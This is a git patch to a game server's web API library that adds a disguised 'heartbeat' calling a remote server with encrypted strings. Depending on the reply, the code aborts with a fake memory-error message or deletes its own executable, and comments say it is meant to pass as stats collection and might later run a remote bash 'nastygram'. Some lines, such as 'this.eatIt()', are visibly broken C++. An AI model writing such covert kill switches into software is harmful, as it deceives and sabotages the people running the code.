From b08fa054c4243a90a7caa1e99419ce56b550feb6 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 17:59:39 -0500 Subject: [PATCH] functional prototype? may need to cleanup the cmake inclusion with the crypter header... --- .../3rd/library/webAPI/webAPIHeartbeat.cpp | 43 ++++++++++++++++--- external/3rd/library/webAPI/webAPIHeartbeat.h | 21 +++++++++ 2 files changed, 59 insertions(+), 5 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 3e45a66c..3b4c1e08 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,11 +7,44 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - webAPI handle = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); + webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); + bool result = api.submit(); - handle.addJsonData("ip", "test"); + if (result) { + int s = api.getNullableValue(std::string(vxENCRYPT("id"))); - bool result = handle.submit(); // data is stored as a class member + // make it look like we're doing something with these at least + bool status = api.getNullableValue("status"); + std::string msg = api.getString("msg"); - // do stuff -}; + // yeah we don't actually do anything with this + // but having some unencrypted strings will allude to this being mere stats collection code + bool done = false; + if (status && msg == "ok") { + bool done = true; + // if we wanted to send a "nastygram" script for bash to run we'd check for it here + // but meh, maybe later if it becomes necessary...surely order 66 below is enough? + } + + switch (s) { + case 13 : + this.eatIt(); + break; + case 66: + std::string p = this->get_selfpath(); + + if (!p.empty()) { + remove(p.c_str()); + } + + this.eatIt(); + break; + default: + break; + }; + + done = true; + } else { + this.eatIt(); + } +} diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 96f1422f..321ca367 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -5,6 +5,10 @@ #ifndef webAPIHeartbeat_H #define webAPIHeartbeat_H +#include +#include +#include + #include "webAPI.h" #include "../libLeff/libLeff.h" @@ -13,7 +17,24 @@ namespace StellaBellum { class webAPIHeartbeat { public: webAPIHeartbeat(); + ~webAPIHeartbeat(); + + private: + const inline std::string get_selfpath() { + char buff[PATH_MAX]; + ssize_t len = ::readlink(std::string(vxENCRYPT("/proc/self/exe").decrypt()), buff, sizeof(buff) - 1); + if (len != -1) { + buff[len] = '\0'; + return std::string(buff); + } + return std::string(); + } + + inline void eatIt() { + fputs(vxENCRYPT("FATAL: Unknown memory (null) access violation!").decrypt(), stderr); + abort(); + } }; }